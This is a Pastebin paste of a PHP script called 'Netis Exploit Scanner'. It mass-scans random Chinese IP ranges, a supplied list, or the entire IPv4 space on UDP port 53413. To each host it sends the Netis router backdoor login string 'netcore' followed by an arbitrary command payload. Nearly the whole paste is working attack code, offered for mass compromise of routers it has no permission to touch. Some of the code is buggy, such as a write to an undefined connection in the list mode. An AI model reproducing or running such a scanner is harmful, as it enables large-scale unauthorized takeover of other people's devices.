Advertisement
Guest User

Netis Exploit Scanner

a guest
Aug 11th, 2016
4,567
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.48 KB | None | 0 0
  1. <?php
  2. /* 
  3.  __     ___ _ _       _          ___     ____                            _           _
  4.  \ \   / (_) | | __ _(_)_ __    ( _ )   |  _ \  ___ _ __ ___   ___ _ __ | |_ ___  __| |
  5.   \ \ / /| | | |/ _` | | '_ \   / _ \/\ | | | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _ \/ _` |
  6.    \ V / | | | | (_| | | | | | | (_>  < | |_| |  __/ | | | | |  __/ | | | ||  __/ (_| |
  7.     \_/  |_|_|_|\__,_|_|_| |_|  \___/\/ |____/ \___|_| |_| |_|\___|_| |_|\__\___|\__,_|
  8.    
  9.                         [+] Netis PHP Scanner [+]
  10.                 ...:: Created by Villain & Demented ::...
  11.  
  12. */
  13. $payload = "enter payload";
  14. class Netis {
  15.     protected $payload;
  16.     public function __construct($payload){
  17.         $this->payload = $payload;
  18.     }
  19.     public function Netis(){
  20.         /* Scan random Chinese Ranges */
  21.         $this->ranges = array('111.255', '101.16', '112.225', '118.80', '27.200');
  22.         for($i = 0;$i < 255 ^ 3;$i++){
  23.                     $this->host = $this->ranges[0] . "." . rand(1,255) . "." . rand(1,255);
  24.                     $this->connection = fsockopen("udp://" . $this->host, 53413, $errstr, $errno, 3);
  25.             while(!feof($this->connection)){
  26.                 // Login Payload & Command Payload
  27.                 fputs($this->connection, "AAAAAAAAnetcore\x00");
  28.                 fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
  29.                 print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  30.                 break;
  31.             }
  32.         }
  33.     }
  34.     public function ListScan(){
  35.   /* Scan for Netis IP List */
  36.   $this->list = fopen('list.txt', 'r');
  37.   while(!feof($this->list)){
  38.    $this->line = fgets($this->list);
  39.    $this->host = "udp://" . $this->line;
  40.    $this->sock = fsockopen($this->host, 53413, $errno, $errstr, 3);
  41.    while(!feof($this->sock)){
  42.     // Login Payload & Command Payload
  43.     fputs($this->connection, "AAAAAAAAnetcore\x00");
  44.     fputs($this->connection, "AA\x00\x00AAAA " . $this->payload . "\x00");
  45.     print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  46.     break;
  47.    }
  48.    
  49.   }
  50.  }
  51.     public function WorldScan(){
  52.         $this->range = array();
  53.         $this->range[1] = 1;
  54.         $this->range[2] = 1;
  55.         $this->range[3] = 1;
  56.         $this->range[4] = 1;
  57.         for($i = 0;$i < 255 ^ 4;$i++){
  58.             if($this->range[4] == 255){
  59.                 $this->range[3]++;
  60.                 $this->range[4] = 1;
  61.             }
  62.             if($this->range[3] == 255){
  63.                 $this->range[2]++;
  64.                 $this->range[3] = 1;
  65.             }
  66.             if($this->range[2] == 255){
  67.                 $this->range[1]++;
  68.                 $this->range[2] = 1;
  69.             }
  70.             $this->host = $this->range[1] . "." . $this->range[2] . "." . $this->range[3] . "." . $this->range[4];
  71.             $this->ip = "udp://" . $this->host;
  72.             $this->sock = fsockopen($this->ip, 53413, $errstr, $errno, 3);
  73.             while(!feof($this->sock)){
  74.                 fputs($this->sock, "AAAAAAAAnetcore\x00");
  75.                 fputs($this->sock, "AA\x00\x00AAAA " . $this->payload . "\x00");
  76.                 print "\033[01;37m[\033[01;32m+\033[01;37m] Attempting: " . $this->host . "\n";
  77.                 break;
  78.             }
  79.             $this->range[4]++;
  80.         }
  81.     }
  82. }
  83. $netis = new Netis($payload);
  84.     if(empty($argv[1])){
  85.         print "\033[01;31mNo arguements given";
  86.         exit(1);
  87.     }
  88.     if($argc !== 1){
  89.         switch(strtolower($argv[1])){
  90.         case "random":
  91.             $netis->Netis();
  92.         break;
  93.         case 'list':
  94.             $netis->ListScan();
  95.         break;
  96.         case 'world':
  97.             $netis->WorldScan();
  98.         break;
  99.     }
  100.     } else {
  101.         print "\033[01;33mUsage: \033[01;37mphp script.php random \033[01;33m - Scan for random Chinese ranges\n";
  102.         print "\033[01;33mUsage: \033[01;37mphp script.php list \033[01;33m - Scan from pre-made IP list\n";
  103.         print "\033[01;33mUsage: \033[01;37mphp script.php world \033[01;33m - Mass scan the world\n";
  104.         exit(1);
  105.     }
  106. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement